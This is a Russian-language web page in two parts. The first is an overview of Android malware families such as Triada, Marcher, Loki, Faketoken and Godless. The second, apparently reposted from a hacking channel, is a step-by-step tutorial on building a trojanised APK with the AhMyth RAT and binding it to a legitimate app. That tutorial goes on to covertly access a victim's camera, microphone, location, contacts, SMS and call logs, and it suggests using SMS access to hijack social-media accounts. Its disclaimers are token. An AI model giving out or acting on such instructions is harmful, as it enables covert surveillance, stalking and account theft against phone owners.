Уникален он своей близостью к классическим вирусам, а не троянам-вымогателям, как это обычно бывает на Android. Вам всё же нужно умудриться подхватить его из «непроверенных источников», а вот дальше начинается гораздо весёлый «боевичок»:

Triada — вирус, который не просто хулиганит в системе, а вклинивается в её жизненно важные участки

  1. Triada включается после того, как вы установите и дадите разрешения вашей любимой качалке музыки из ВКонтакте, например. После программа втихаря выясняет модель вашего смартфона, версию прошивки и Android, объём свободного места на накопителях и список установленных приложений. И отправляет эту информацию в интернет , на свои серверы. Этих серверов огромное количество, они разбросаны в различных странах, то есть, даже приехать и устроить «маски-шоу» по местоположению сервера со зловредом не получится.
  2. В ответ Triada получает инструкции (прямо-таки, индивидуальный подход к пациенту!), как лучше спрятать себя конкретно в этой разновидности Android и этом смартфоне, внедряется в каждое (!) из установленных приложений и берёт контроль над системными компонентами , чтобы скрыть себя в списке установленных приложений и запущенных процессов. После этого отдельно стоящая в системе часть вируса «заметает» за собой следы — он больше не работает как отдельное приложение, а согласовывает свои действия с помощью кусочков заражённой системы.
  3. Готово, система завоёвана! С этого момента смартфон превращается в «марионетку», которой злоумышленники отдают команды на расстоянии и принимают информацию на любой из доступных серверов. Сейчас Triada действует примитивно — выясняет данные вашей банковской карты, снимает с неё деньги, достаёт из входящих SMS нужные для оплаты коды, «рисует» ложные цифры о балансе владельцу.

Но с возможностью «распотрошить» любое установленное приложение или установить новое на расстоянии это только «цветочки» — особенность «Триады» заключается в том, что это модульный вирус, к нему можно будет прикрутить самые разные виды дистанционных трюков.

Как видите, вирусы для Android — это не только примитивные «ваш телефон заблокирован, с вас сто баксов», от которых можно избавиться удалением приложения. И, если в новых версиях Android хотя бы усложнён доступ к получению root и можно увидеть что-то подозрительное на этапе запроса прав приложением, то старые версии (Android 4.4, 4.3 и старее) абсолютно беззащитны перед новой заразой — спасёт только полная перепрошивка.

Marcher

Так называемый «банковский зловред» был разработан ещё в 2013 году, но его «звёздный час» настал только летом 2016 года. Знаменит хорошей маскировкой и «интернационализмом», если можно так сказать.

Marcher представляет собой простой троян, который не проворачивает ничего сверхъестественного, а просто подменяет собой служебные страницы огромного количества банков с помощью всплывающих окон. Механизм следующий:

  • Троян проникает в систему вместе с заражённым приложением. Пик популярности Marcher пришёлся на «свежеукраденные» у Nintendo версии Super Mario Run. Если вы не помните, это такая супер-раскрученная «бегалка» от создателей Pokemon GO!
  • Ищет на смартфоне банковские приложения и приложения интернет-магазинов выбирает «заготовки» в соответствии с тем, каким банком вы пользуетесь.
  • Отправляет на смартфон «приманку» — сообщение в шторке уведомлений со значком банка/магазина и сообщением в стиле «на ваш счёт поступило N рублей»/«купон на скидку 75% для любого товара только сегодня!».
  • Владелец смартфона кликает на уведомление. После чего троян открывает точнейшую копию, страницу, 1-в-1 похожую на ту, что вы привыкли видеть в официальном приложении. И говорит что-то в стиле «соединение с сетью прервано, повторите ввод данных банковской карты».
  • Владелец смартфона вводит данные банковской карты. Тут-то денюжки тю-тю!

«Дружище, что-то я подзабыл номер твоей карты. Не напомнишь?»

Таким нехитрым образом троян подделывал процесс покупки авиабилетов, покупки товаров в интернет-магазинах и софта в Google Play и работу банковских приложений. Под раздачу попали пользователи банковских карт в Германии, Франции, Польши, Турции, США, Австралии, Испании, Австрии и Великобритании. Изначально вирус «точили» под Android 6.x, смартфонов под управлением других версий оказалось значительно меньше.

Даже не одиночка, а целый каскад троянов-«хамелеонов», не настолько криминально-суровых, как Triada, но в такой же степени болезненных для операционной системы. Антивирусные специалисты обратили внимание на зловредов в начале 2016 года, а в народ смартфоны зловред стал массово проникать уже в декабре 2016-го.

Loki — это такой организованный разбой по предварительному сговору в вашем смартфоне

Зловреды действуют настолько быстро и слаженно, что хочется аплодировать им стоя. Вы только взгляните на эту «многоходовочку»:

  • Первый троян попадает в систему с безопасным приложением и вместе с ним же запускается. После этого сразу «запрашивает подкрепление», то есть, скачивает из своих источников второго троянца и устанавливает его с пачкой инструментов для получения root-прав. Мониторит систему, ждёт, когда пользователь смартфона выключит дисплей, и в этом режиме добывает root. После чего запускает своего «коллегу».
  • Второй троян перехватывает root-права, получает доступ к разделу /system («заводским» файлам прошивки, которые сохраняются даже после сброса настроек), распаковывает из себя ещё парочку троянцев и распихивает их в «несгораемые» системные разделы.
  • Третий троян оживает в этом самом разделе /system, в котором подменяет собой часть системы, ответственную за загрузку, и удаляет стандартные «потроха» Android. Если каким-то чудом владелец удалит все предыдущие вирусы и доберётся до третьего по счёту Loki, с его удалением «умрёт» прошивка смартфона.
  • В это время четвёртый из каскада троянцев действует из защищенной системной папки, откуда скачивает ещё пачку вирусов, «крутит» рекламу или просто занимается накруткой счётчиков скачиваний приложений/посещений сайтов на инфицированном смартфоне. Блокирует скачивание и установку антивирусов, совершенствует свою защиту.

«Выкорчевать» из мозгов смартфона следы этой бурной деятельности невозможно, поэтому «лечится» заражение с помощью Loki только полной перепрошивкой с потерей всех данных.

Faketoken

Если предыдущие трояны намеренно действуют исподтишка, чтобы пользователь смартфона до последнего момента не догадывался о заражении, то Faketoken в своём подходе прост и прямолинеен, как опытный гопник — требует предоставить ему права на любые действия со смартфоном, а если владелец отказывается, в дело вступает алгоритм «слышь, ты чё не понял? Тогда я повторю!».

  • Устанавливаете вы, значит, приложение с привычным ярлычком с какого-нибудь сайта vasyapupkinsuperwarez.net. Запускаете, и после этого вас начинают «пытать».
  • Троян открывает системное окно с запросом прав администратора. В лучших демократических традициях у владельца смартфона есть два варианта — разрешить трояну доступ к системе, либо не разрешить. Но в случае отказа Faketoken снова откроет окно с запросом системных прав , и будет делать это постоянно, до тех пор, пока пользователь смартфона не капитулирует.
  • После этого методом всё того же терморектального криптоанализа троян добывает себе права на отображение всплывающих окон и подмену собой стандартного приложения для отправки SMS.
  • После успеха в завоеваниях троян связывается со своим управляющим сервером в интернете и скачивает оттуда шаблонные фразы на 77 языках, которыми потом будет шантажировать пользователя мобильника.
  • Затем с помощью заготовленных фраз Faketoken начинает гадить в системе полноэкранными сообщениями в стиле «подтвердите имя и пароль своего аккаунта в Gmail» и «у нас теперь в Google Play обязательно нужно привязывать карточку, введите необходимые данные». До победного конца, разумеется.
  • Троян резвится в системе, отправляет и принимает SMS, совершает звонки, скачивает приложения. А напоследок — блокирует экран, шифрует все файлы во внутренней памяти и microSD и требует «выкуп».

Godless

Троян Godless впечатляет даже не своей, так сказать, функциональностью, а маскировкой — длительное время его наличие в приложениях не распознавала даже хваленая система антивирусной проверки в Google Play. Результат немного предсказуем — зловред заразил свыше 850 тысяч смартфонов по всему миру, причём почти половина из них принадлежит жителям Индии, что как бы намекает на происхождение трояна.

Скачиваешь себе фонарик из Google Play — подхватываешь неудаляемый вирус с шифрованием и root-правами

Функциональность трояна слабо отличается от его многочисленных коллег в 2016 году, новым стал только «зачин»:

  • Пользователь смартфона загружает приложение из Google Play , включает его, в результате чего вместе с приложением запускается и троян. Вы только не подумайте что-то плохое о проверке Google, ведь в этом «комплекте» нет зловредного кода — зловредный код троян скачивает при первом запуске.
  • Для начала Godless добывает на смартфоне root-права , бесплатно без SMS. С помощью примерно такого же набора средств, как в этих ваших Towelroot, например. Такие операции троян проводит при выключенном экране.
  • После этого наглый троян отправляет себя в папку /system (откуда его уже не удалить без перепрошивки ) и шифрует себя при помощи AES-ключа.
  • С полным комплектом прав доступа Godless начинает понемногу воровать личные данные пользователи со смартфона и устанавливать сторонние приложения. В первоначальных своих версиях троян, кстати, прятал с глаз пользователя стандартный Google Play и заменял его «пародией», через которую воровал имя и пароль от учётной записи.

Среди приложений, к которым чаще всего «прикручивали» Godless, были многочисленные «фонарики» и клоны известных игр для Android.

Что вообще стоит знать о вирусах

Первое, что нужно знать о вирусах для платформы Android: не все из них — это вирусы в исконном значении этого слова. Так нередко случается в живом языке: орнитологи различают филинов, сычей и сов, но в народе все эти птицы — «совы». Специалисты отличают хакеров от «детворы со скриптами» и кракеров, но для неспециалистов все эти категории людей остаются хакерами.

Со зловредными приложениями такая картина — технически они подразделяются на вирусы , черви , трояны , adware (навязчивую рекламу) и «страшилки» , но почти никого не заботят такие тонкости. Мол, вирусы — они и есть вирусы.

Различия между «сортами радости» следующие:

  • Вирус — зловредная программа, которая незаметно проникает на компьютер благодаря уязвимости системы. И, что самое важное — не занимается вредительством самостоятельно, а заражает другие файлы в системе. Такой зловред в случае с Android должен бы был проникать после банального клика на рекламу или посещения сайта, а потом «переписывать» под себя Gmail, ВКонтакте и другие приложения таким образом, чтобы после удаления оригинального вируса заражённые приложения продолжали делать своё чёрное дело.
  • Червь — делает плохое дело и жёстко, беспощадно, всеми возможностями распространяет самого себя по всем каналам связи. На компьютерах черви рассылали себя по e-mail, мессенджерам, локальной сети, флешкам — то есть, клонировали себя самым бесстыжим образом.
  • Троян никогда не стучится в систему извне — вы устанавливаете и запускаете зловредную программу собственноручно. Так происходит, потому что трояны подменяют рядовые, привычные и известные всем приложения, а иногда их просто «пришивают» к вполне работоспособным программам. То есть, покупаете скачиваете полезную программу — и получаете вредоносную в подарок!
  • «Страшилки» (scareware) — приложения, наводящие панику: «О боже, да у вас весь смартфон в вирусах и приложениях для прослушки спецслужбами всего мира! Скачайте наш антивирус и узнайте всю правду!». Скачиваете, запускаете, проводите так называемую проверку, после которой программа говорит: «Ужасающее количество вирусов в системе! Ваш телефон умрёт, если не удалить вирусы, но для этого Вы должны ввести данные своей банковской карты здесь и вот здесь». Такую прелесть зачастую игнорируют все антивирусы, потому что она ничего не взламывает и не ворует в системе — просто обманывает покупателя и просит денег.

Загрузка приложений не из Google Play — самый очевидный путь заражения андроидофона

Источник

Пишем RAT для Android без навыков программирования.

Social Engineering

Благодаря стараниям Илона Маска сегодня можно управлять «Теслой», не умея водить машину. А благодаря разработчику, который скрывается под ником AhMyth (и так же назвал свою программу), любой желающий может создать троян для Android, совершенно не умея программировать. Как? Сейчас покажу.

Термином RAT (Remote Access Tool) принято называть утилиты удаленного администрирования. Они могут использоваться в благих целях по своему прямому назначению, как, например, знаменитый TeamViewer, а могут устанавливаться злодеями в глубокой тайне от пользователя. В подобных случаях RAT нередко расшифровывают как Remote Access Trojan, и прямой перевод английского слова rat — «крыса» — тут приходится как нельзя кстати.

AhMyth RAT (Remote Access Trojan) — это приложение с открытым исходным кодом, в настоящее время находится на стадии бета-версии. Программа ориентирована на пользователей Windows, но на GitHub можно найти исходники и для Unix-подобных платформ.

AhMyth RAT состоит из двух компонентов.

  1. Серверное приложение, с помощью которого можно управлять зараженным устройством и генерировать файлы APK с вредоносным кодом. Создано оно на Electron framework — фреймворке, разработанном в GitHub для создания простых графических приложений.
  2. Клиентский APK, содержащий вредоносный код, который позволяет получить удаленный доступ к зараженному устройству. То есть наш APK будет выполнять функции бэкдора.

Установка AhMyth RAT.

Серверная часть устанавливается очень просто, тем более автор выложил в свободный доступ бинарники программы. Но при желании можно скомпилировать ее из исходников. Лично я проводил свои тесты на машине под управлением Windows 10.

Для работы утилиты нам необходима виртуальная машина Java. Устанавливаем ее с официального сайта Java. Затем нужно скачать бинарники самой AhMyth. Их ты можешь найти в официальном репозитории проекта на GitHub, вкладка Assets. При скачивании лучше отключить антивирус, чтобы его не хватил удар от происходящего.

Создаем зараженный APK.

Чтобы создать файл APK для Android, открой вкладку APK Builder. Внешний вид конструктора вредоносных мобильных приложений показан на следующей иллюстрации.

Вкладка с конструктором APK

Пользоваться этим инструментом очень просто. В окне Source IP мы прописываем IP-адрес атакующей машины (этот адрес потом легко вычисляется при исследовании вредоноса). В поле Source Port ты можешь указать порт, который будет зарезервирован машиной для прослушивания подключений. По умолчанию используется порт 42 474.

Помни, что распространение вирусов и вредоносных программ — незаконное действие и влечет за собой уголовную ответственность. Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не призывают к использованию полученных знаний в практических целях и не несут ответственности за любой возможный вред, причиненный материалом.

Без использования дополнительной опции Bind With Another Apk ты сгенерируешь мобильное приложение только с вредоносным кодом. И это практически бесполезно, поскольку заставить юзера установить такую программу можно разве что под пытками.

Но есть проверенный способ создания малвари, который используют все продвинутые вирмейкеры: найти в интернете какой-нибудь APK и склеить его с вредоносом. Для этого поставь флажок Bind With Another Apk, выбери нужный APK и укажи метод интеграции вредоноса в телефон. Есть два метода: при запуске зараженного APK или при перезагрузке телефона после установки RAT. Авторы программы рекомендуют второй вариант.

Осталось нажать кнопку Build — по умолчанию зараженный файл сохраняется в папку C:Users<Your_Username>AhMythOutput.

Распространение и заражение.

Как распространяются собранные таким методом вредоносы — это отдельная тема для дискуссий. Отмечу только, что в Google Play регулярно обнаруживают зараженные RAT программы и столь же регулярно их оттуда выпиливают, что не мешает малвари появляться в этом каталоге снова. Кроме того, методы социальной инженерии никто не отменял. Но помни, что для активации трояна после установки приложения обязательно нужно запустить или перезагрузить зараженное устройство (в зависимости от настроек билдера).

Запуск вируса на устройстве

Для успеха также требуется, чтобы в настройках целевого устройства был отключен параметр «Установка только из доверенных источников».

Соединяемся с зараженным устройством.

Теперь нам нужно перейти во вкладку Victims и вбить в поле тот же порт, что мы указывали раньше, чтобы сервер ждал подключений от зараженных устройств. Опять же если ты ничего не менял при сборке APK, то ничего не надо указывать и здесь.

Нажимаем на Listen, и, если наш APK успешно заразил мобильное устройство, мы увидим новое подключение.

Доступные устройства

Программа также логирует все действия в консоли, расположенной в нижней части окна. Значения колонок журнала в целом очевидны. Country — страна, в которой работает зараженное устройство. Manuf — компания — изготовитель девайса. Model — код или название модели устройства. Release — версия операционной системы зараженного девайса (в моем случае это Android 10). IP — IP-адрес устройства, а Port — порт, через который инфицированный девайс подключился к атакующей машине.

Теперь пора переходить к активным действиям — для этого смело жми на кнопку Open The Lab.

Возможности AhMyth.

Нашему вниманию будет предложено меню из семи пунктов, которое открывает доступ к разным функциям программы.

При подключении к устройству возможны небольшие перебои в работе сервера, однако потом подключение восстанавливается. Немного терпения!

Камера.

Для начала заглянем в раздел Camera. Выбери камеру: фронталку (Front) или основную (Back) — и можешь сделать снимок нажатием на кнопку Snap. Правда, у меня почему-то не получилось толком сфотографировать, хотя все мои камеры на устройстве были успешно инициализированы.

Камера работает, а фото не получается. Печаль!

Файловый менеджер.

Файловый менеджер здесь не такой продвинутый, как в других подобных утилитах, однако все равно это очень полезная вещь. С его помощью можно как минимум скачивать нужные нам файлы с зараженного устройства. Как видишь, начальная директория — это корневой каталог, к которому есть доступ только с правами администратора.

File Manager

Микрофон.

Эта функция позволяет использовать микрофон устройства в фоновом режиме и записать все, что «слышит» телефон в течение указанного времени (в окне Seconds нужно числом задать продолжительность записи в секундах). Далее жмем Record и ждем. Полученный файл можно прослушать прямо в окне программы или сохранить себе на машину.

Превращаем зараженный телефон в диктофон

Геопозиция.

На мой взгляд, это самая интересная возможность AhMyth. Если на инфицированном устройстве включена передача геоданных, ты сможешь узнать геопозицию человека с точностью до десяти метров. Известно, что неопытные пользователи очень редко вспоминают об этом параметре и оставляют его включенным. Плюс некоторые приложения (те же карты), использующие передачу геоданных, когда-нибудь да заставят человека включить эту функцию.

Тут можно узнать геопозицию зараженного телефона

Контакты.

С помощью этой функции можно вытащить весь список контактов, которые записаны в телефоне. Есть возможность скачать весь список контактов себе на машину.

Получаем список контактов

SMS.

Еще один очень любопытный раздел. С его помощью мы можем отправить кому-то SMS или просмотреть и скачать все сообщения, которые пришли на это устройство.

Чтобы отправить SMS, зайди во вкладку Send SMS, укажи номер телефона получателя (поле TO://), а в поле Message вбей желаемый текст сообщения. После этого останется только нажать на кнопку SEND.

Эту функцию можно использовать для сброса паролей учетных записей владельца зараженного устройства, например, для взлома «Вконтакте» или Instagram.

Мы можем отправить сообщение любому получателю
И даже просмотреть список сообщений

Журнал вызовов.

Этот раздел открывает перед нами возможность просмотреть список телефонных вызовов. Тут представлено четыре блока информации о каждом вызове: номер, с которым связывалось зараженное устройство; название контакта, к которому привязан этот номер на зараженном устройстве; время длительности вызова (в секундах); тип вызова (входящий или исходящий).

Журнал вызовов

Очень полезный инструмент — разумеется, в умелых руках.

Как защититься от RAT?

Как бы банально это ни звучало, никогда не давай свой телефон в чужие руки и не устанавливай сомнительные приложения. На самом деле это практически единственный способ обеспечить собственную безопасность. И конечно же, всегда обращай внимание на предупреждения системы о возможном вреде, который может причинить устройству скачанное приложение.

Напутствие.

Надеюсь, что ты будешь использовать утилиту AhMyth RAT только в исследовательских целях на своих личных устройствах. Не забывай: «Чем больше сила, тем больше и ответственность»!

Эксплойт — Информационная безопасность, анонимность, хакерство и тайны интернета.

Форсайт — Кибербезопасность, уроки по хакерству и беспощадные вирусы.

Библиотека хакера — Литература по информационной безопасности и хакингу. Полезные материалы. Сливы курсов и обучений.

Арсенал хакера — Все необходимое для продвинутого хакера. Хакерские устройства, шпионские гаджеты и другие находки с AliExpress.

Social Engineering — Канал посвященный Социальной инженерии, профайлингу, НЛП, Хакингу, Анонимности и безопасности в сети интернет, OSINT, Пентест, Даркнету и все что с ним связано. Добро пожаловать ;-)

S.E.Book — Литература социального инженера.

Источник.

Понравилась статья? Поделить с друзьями:
  • Как написать вирусный пост вконтакте
  • Как написать вирусную программу троян
  • Как написать вирусную программу на python для новичка
  • Как написать вирус шутку
  • Как написать вирус шифровальщик